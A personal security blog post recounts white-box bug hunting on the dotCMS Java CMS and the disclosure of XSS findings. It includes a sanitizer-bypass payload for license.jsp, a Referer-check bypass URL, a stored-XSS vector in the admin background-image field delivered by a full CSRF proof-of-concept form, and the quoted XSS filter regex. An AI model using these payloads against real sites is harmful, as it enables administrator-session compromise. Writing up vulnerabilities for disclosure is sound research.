frinto@home:~$

Shitty Cyber-Security Blog

CVE Hunting on dotCMS

Looking for bugs on dotCMS and only finding XSS


Preface

2-3 days ago @SecGus asked me if I wanted to do some CVE hunting on a Java CMS (He ended up working on something else). He hadn’t chosen one yet so I just Googled “java cms”. I know, genius. That leads me to the topic of this blog. dotCMS. Not gonna go in-depth as to what dotCMS is, because I barely know what it is myself. All you need to know is that it has a handful of SQL CVE’s.

None of which I found…

After spending a day and a half reading Java code (literal torture) and grep madness, I concluded that dotCMS is indeed unhackable

Just kidding. I either suck at finding SQL injection in Java web apps or RIPS found the last one. I would walk you guys through the proccess I take when white-box testing but it’s pretty straight forward.

  1. Look for interesting functionality on the web app (Profile Edits, File Uploads, etc.)

  2. Audit the source code for that functionality

Wow. Who would’ve thought? It’s not that simple everytime though. Clearly if you’ve done any kind of white-box stuff and DON’T use an IDE, it is truly hell. It’s just grep, vim, and manually having to find method declarations/definitions. Oh and for the record, I suck at Java.


Which leads me right to my next point:

YAY LEFT-OVER XSS CVE’S!

Well, soon to be CVE’s. I haven’t reported any of this yet.

Anyways, clearly client side bugs are my stronger suit (or maybe RIPS is to blame)

Failed XSS

We’ll start with the worst find and save the best for last.

License Configuration Panel

All the content shown under each tab (Basic Config, Licensing, etc.) is loaded dynamically. The actual location of the license JSP is /html/portlet/ext/cmsconfig/license.jsp. A quick look at its source code reveals that it’s directly reflecting the message GET parameter in a JS function:

<%if(UtilMethods.isSet(request.getParameter("message"))){ %>
	showDotCMSSystemMessage('<%= UtilMethods.javaScriptify(request.getParameter("message")) %>');
<%} %>

Now I know what you’re thinking. What about that javaScriptify method? It’s bypassable.

Regular Payload:

');alert();//

Output:

showDotCMSSystemMessage('\');alert();//');

Modified Payload:

\');alert();//

Output:

showDotCMSSystemMessage('\\');alert();//');

If you’re gonna sanitize, at least sanitize the sanitizer.

Okay, so that’s it. We’ve found XSS. Nope. In order to access this JSP file, or better yet any file under /html, you need the Referer header set. Now clearly we can find a way to paste our link on the site, and lure someone into clicking it there, but that’s not your typical XSS. Turns out all it took to bypass this filter was adding an extra / before html.

http://localhost:8080//html/portlet/ext/cmsconfig/license.jsp?message=%5c%27);alert()//

Okay… our XSS is ready to go, right?

NO!

This was all for nothing because the scripts on the page rely on the dojo object. Hence the code crashes before it can reach our payload.

Dojo Object Undefined

Just escape the script tags!

Can’t. There’s a XSS filter by default. Trust me, I’ve tried to bypass this Regex…

com.liferay.util.Xss.regexp.pattern=.*(?i)<[\s]*/?[\s]*script.*?|.*<[\s]*/?[\s]*iframe.*?|.*<[\s]*/?[\s]*frame.*?|.*<[\s]*/?[\s]*meta.*?|<.*?javascript:|<[\s]*?body.*?onload|.*<[\s]*/?[\s]*embed.*?|.*<[\s]*/?[\s]*object.*?|.*<[\s]*a[\s]*href[^>]*javascript[\s]*:[^(^)^>]*[(][^)]*[)][^>]*>[^<]*(<[\s]*/[\s]*a[^>]*>).*|.*?javascript:.*|.*<.*(;|=).*?|.*\\{*.\\}.*?

The only way this could be an actual XSS vulnerability, is if the XSS xss.allow=false flag is set to true in portal.properties. Which will probably never be the case!

Company Logo XSS

2 things I need to state before moving further on:

  1. dotCMS is vulnerable to CSRF by default (You must install the CSRF Filter plugin to mitigate)
  2. It’s a CMS, so of course there’s going to be file uploads. Even static HTML uploads. So this doesn’t count as XSS thats applicable for a CVE, even if chained with the CSRF.

So I decided to upload the XSS payload as the company logo. Yes, that’s right. There’s no content-type verification.

It’s simple. Just send your XSS code to the image upload using the CSRF. Now you have a permanent static HTML page on the site, that’s also the sites logo.

Company Logo XSS

Background Image XSS

And now for the best XSS of them all, at least in my opinion. Stored XSS in the admin panel.

Configuration Home

Here we can set the path of the background image for dotCMS. If we look at the HTML of this page, we can see the path is reflected twice:

    dojo.addOnLoad(function () {
        bgColorStyler('#28283e');
        PrimaryColorStyler('#c336e5')
		SecondaryColorStyler('#6f5fa3')
        imgSwap('/html/images/backgrounds/bg-2.jpg');
    });
<input id="bgURL" dojoType="dijit.form.TextBox" name="companyHomeUrl" size="25" type="text" value="/html/images/backgrounds/bg-2.jpg" style="width: 250px">

Great, we have two options. We can either escape the JS function imgSwap and do our magic there, or use an event handler like onfocus to execute Javascript in the input tag. Remember, we can’t just escape input and use script, there’s a XSS filter. It also prevents us from creating our own tags that have attributes.

Escaping imgSwap is a better idea since you can format your code with newlines. It also executes automatically and doesn’t require user interaction. Either way, both methods work!

Here is an example of CSRF code generated by BurpSuite:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8080/api/config/saveCompanyBasicInfo" method="POST">
      <input type="hidden" name="portalURL" value="localhost" />
      <input type="hidden" name="mx" value="dotcms&#46;com" />
      <input type="hidden" name="emailAddress" value="support&#64;dotcms&#46;com" />
      <input type="hidden" name="size" value="&#35;28283e" />
      <input type="hidden" name="type" value="&#35;c336e5" />
      <input type="hidden" name="street" value="&#35;6f5fa3" />
      <input type="hidden" name="homeURL" value="&apos;&#41;&#59;alert&#40;&#41;&#59;&#47;&#47;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Get the admin to click on your link, and now they’re greeted with this on the admin panel:

Admin Panel XSS

The possibilities are endless.

CVE Timeline

05/08/2020: Blog Published

05/08/2020: Submitted 4 Issues to dotCMS on Github